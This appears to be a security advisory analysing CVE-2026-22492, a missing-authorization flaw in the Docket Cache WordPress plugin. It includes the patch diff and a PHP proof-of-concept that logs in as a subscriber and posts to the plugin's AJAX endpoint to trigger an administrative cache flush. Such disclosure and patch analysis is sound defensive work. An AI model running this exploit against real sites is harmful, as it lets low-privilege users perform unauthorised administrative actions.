Atomic Edge analysis of CVE-2026-22492:
The Docket Cache WordPress plugin, versions up to and including 24.07.04, contains a missing authorization vulnerability in its AJAX request handler. This flaw allows authenticated attackers with Subscriber-level permissions or higher to execute administrative actions intended only for site administrators. The vulnerability has a CVSS score of 4.3, indicating medium severity.
The root cause is the absence of a capability check in the `wp_ajax_docket_worker` AJAX handler within the `Plugin` class. In the vulnerable code at `docket-cache/includes/src/Plugin.php` lines 1760-1775, the function only validates a security nonce via `check_ajax_referer()` and checks for the existence of a `type` POST parameter. It does not verify whether the current user has the required administrative privileges before processing the request. The function is hooked to the `wp_ajax_docket_worker` action, making it accessible via the standard WordPress AJAX endpoint.
Exploitation requires an authenticated WordPress user account with any role, including the lowest-privilege Subscriber role. An attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `docket_worker`. The request must include a valid `token` (nonce) parameter and a `type` parameter specifying the administrative action to perform. The nonce can be obtained from pages accessible to the attacker, such as the plugin’s public-facing interface elements. The payload structure is `action=docket_worker&token=[VALID_NONCE]&type=[ACTION_TYPE]`.
The patch adds a mandatory capability check before processing the AJAX request. In the patched code at lines 1770-1774, the function now calls `current_user_can($cap)` where `$cap` is dynamically set to `manage_network_options` for multisite installations or `manage_options` for single sites. If the check fails, the function sends a JSON error response and exits. The patch also corrects a logical operator in the nonce validation from `&&` to `||` at line 1767, ensuring both conditions must be met. A similar capability check was added to the `admin_enqueue_scripts` callback at lines 1691-1695 to prevent unauthorized script loading.
Successful exploitation allows attackers with minimal permissions to trigger administrative plugin functions. The specific impact depends on the actions available through the `docket_worker` handler, which the diff does not fully reveal. Atomic Edge research indicates this typically includes cache management operations like flushing, preloading, or configuration changes. An attacker could degrade site performance, cause denial of service by clearing critical caches, or manipulate caching behavior to expose sensitive data.
--- a/docket-cache/docket-cache.php
+++ b/docket-cache/docket-cache.php
@@ -12,8 +12,8 @@
* @wordpress-plugin
* Plugin Name: Docket Cache
* Plugin URI: https://docketcache.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 24.07.04
- * VerPrev: 24.07.03
+ * Version: 24.07.05
+ * VerPrev: 24.07.04
* Description: A persistent object cache stored as a plain PHP code, accelerates caching with OPcache backend.
* GitHub Plugin URI: https://github.com/nawawi/docket-cache
* Author: Nawawi Jamili
--- a/docket-cache/includes/object-cache.php
+++ b/docket-cache/includes/object-cache.php
@@ -3,7 +3,7 @@
* @wordpress-plugin
* Plugin Name: Docket Cache Drop-in
* Plugin URI: https://wordpress.org/plugins/docket-cache/
- * Version: 24.07.04
+ * Version: 24.07.05
* Description: Object Cache drop-in for Docket Cache.
* Author: Nawawi Jamili
* Author URI: https://docketcache.com
--- a/docket-cache/includes/src/Crawler.php
+++ b/docket-cache/includes/src/Crawler.php
@@ -14,7 +14,7 @@
final class Crawler
{
- private static $version = '24.07.04';
+ private static $version = '24.07.05';
public static $send_cookie = false;
private static function default_args($param = [])
--- a/docket-cache/includes/src/Plugin.php
+++ b/docket-cache/includes/src/Plugin.php
@@ -1688,6 +1688,11 @@
add_action(
'admin_enqueue_scripts',
function ($hook) {
+ $cap = is_multisite() ? 'manage_network_options' : 'manage_options';
+ if (!current_user_can($cap)) {
+ return;
+ }
+
$is_debug = $this->cf()->is_true('WP_DEBUG');
$plugin_url = plugin_dir_url($this->file);
$version = str_replace('.', '', $this->version()).'xe'.($is_debug ? date('his') : date('yd'));
@@ -1760,11 +1765,17 @@
add_action(
'wp_ajax_docket_worker',
function () {
- if (!check_ajax_referer('docketcache-token-nonce', 'token', false) && !isset($_POST['type'])) {
+ if (!check_ajax_referer('docketcache-token-nonce', 'token', false) || !isset($_POST['type'])) {
wp_send_json_error('Invalid security token sent.');
exit;
}
+ $cap = is_multisite() ? 'manage_network_options' : 'manage_options';
+ if (!current_user_can($cap)) {
+ wp_send_json_error('Unauthorized access.');
+ exit;
+ }
+
$type = sanitize_text_field($_POST['type']);
if ($this->cx()->validate()) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22492 - Docket Cache <= 24.07.04 - Missing Authorization
<?php
/*
* Proof of Concept for CVE-2026-22492
* Requires: Valid WordPress subscriber (or higher) credentials and a valid nonce.
* The nonce ('token') must be obtained from a page the user can access.
* This script demonstrates the unauthorized AJAX request structure.
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$nonce = 'abc123def456'; // Must be a valid 'docketcache-token-nonce' for the user
// Step 1: Authenticate to WordPress to get cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $target_url),
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Send unauthorized AJAX request to docket_worker endpoint
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'docket_worker',
'token' => $nonce,
'type' => 'flush' // Example action type; other types may exist
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_COOKIEJAR => 'cookies.txt'
]);
$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Output results
if ($http_code === 200 && strpos($ajax_response, 'success') !== false) {
echo "[SUCCESS] Unauthorized action executed. Response: " . htmlspecialchars($ajax_response);
} else {
echo "[FAILED] Request completed with HTTP $http_code. Response: " . htmlspecialchars($ajax_response);
}
?>
